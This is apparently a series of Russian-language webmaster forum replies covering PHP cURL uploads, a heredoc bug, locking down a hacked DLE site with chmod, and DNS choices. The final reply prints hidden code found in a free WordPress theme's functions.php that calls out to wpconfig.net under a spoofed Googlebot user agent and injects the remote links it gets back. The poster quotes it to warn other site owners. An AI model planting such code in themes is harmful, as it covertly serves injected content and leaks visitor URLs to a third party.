PHP 5.6.17 > 5.5.0.
Права, я имел ввиду, на файл который загружаем (Eminem.mp3)
Ошибку которую выдает php не написал.
Скорее всего дело в версии php.
Вот так должно работать
$post = array( 'file' => new \CURLFile($file), //PHP 5 >= 5.5.0, PHP 7 // 'file' => '@' . $file, // PHP 5 < 5.5.0 'com' => $comment );
Что за ошибка? Непонятно. Я.диск выдает 403.
Навскидку стоит обратить внимание на следующие пункты:
-правильность пути (существует ли файл, files 2 раза повторяется)
-права на файл
-версия PHP
-добавить curl_setopt($ch, CURLOPT_VERBOSE, true); после curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
<?php //Путь к файлу $file = "/home/alex/Downloads/file.jpg"; //Коментарий $comment = 'Коментарий'; //Загружаем файл $ch = curl_init('http://tajshare.tj/upload.php'); $post = array( // 'file' => new \CURLFile($file), //PHP 5 >= 5.5.0, PHP 7 'file' => '@' . $file, // PHP 5 < 5.5.0 'com' => $comment ); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $html = curl_exec($ch); curl_close($ch); //Получаем ссылки preg_match_all('#<td>(.*?)<input type="text" value="(.*?)" style="width: 600px;"#', $html, $result, PREG_SET_ORDER); foreach ($result as $item) { list($code, $caption, $link) = $item; echo $caption . ' ' . $link . PHP_EOL; }
$url='http://site.com/category/4321'; print_r(explode('/',parse_url($url,PHP_URL_PATH)));
SeVlad, софт как и положенно ставится из репо (в этом ,кстати, еще одно отличие по Open server).
Основной смысл - доступ к конфигам и сервисам одним кликом мыши(висит в трее).
Фишки admak , почти все описал,еще можно добавить
Безусловно ,это наколенная поделка - не более того.
Но и мы не на codecanyon,а в разделе для разработчиков.
Я подумал кому то может показаться полезным - допилит под себя.
По поводу названия топика - у меня возникла такая ассоциация,не брал целью полное копирование функционала Open Server.
$mail -> Body = <<<EMAILBODY Новый комментарий в фотогалерее В {this -> created}, {$this -> author} написал: {$this -> body} EMAILBODY; $result = $mail -> Send(); return $result;
Бросается в глаза,надо
$this -> created
Сложно ответить однозначно - все зависит от конфигурации сервера и компетентности хакера.
Данное решение возможно поможет от автоматических взломщиков,но может вызвать проблемы в работе cms.
Если речь идет о dle то engine/cache/ , engine/cache/system и engine/data/ должны быть доступны для записи согласно https://dle-news.ru/faq.html .
Если вы знаете, что вас ломают - ищите уязвимости ,через которые проникают на сайт.
Так же ,возможно, вы установили CMS с уже встроенным бекдором. Почитайте /ru/forum/development/security
Путь верен?
/var/www/*/data/www/*/engine/
Проверяем какие файлы и папки находятся
find /var/www/*/data/www/*/engine/ -name '*.php' -type f -exec echo {} \;
find /var/www/*/data/www/*/engine/ -type d -exec echo {} \;
Запрещаем редактировать php файлы
find /var/www/*/data/www/*/engine/ -name '*.php' -type f -exec chmod 444 {} \;
Запрещаем записывать туда новые файлы
find /var/www/*/data/www/*/engine/ -type d -exec chmod 555 {} \;
Из такой ситуации я вижу 3 выхода:
- Использовать NS регистратора домена, как писали выше(но иногда платно)
- Поднять свой name сервер
- Использовать "левые" NS можно https://www.cloudns.net ; можно ,например, яндекс вот тут писали - /ru/forum/918973
И вот http://habrahabr.ru/post/203292/
Качаем первую попавшуюся тему - http://wp-templates.ru/diamond/ .В файле functions.php следующий код:
class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_socket_timeout = 5;function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; }
Это так называемая "локальная сапа".Еще встречаются встроенные шеллы, при помощи которых из ваших сайтов делают прекрасные хлебобулочные изделия :) Вообщем будьте бдительны☝ http://habrahabr.ru/sandbox/47832/